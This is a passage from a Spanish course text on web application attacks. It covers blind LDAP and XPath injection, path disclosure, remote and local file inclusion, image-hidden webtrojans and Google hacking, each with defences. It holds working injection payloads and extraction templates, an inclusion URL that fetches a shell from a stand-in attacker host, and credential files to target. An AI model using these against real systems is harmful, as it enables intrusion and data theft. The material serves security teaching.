En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

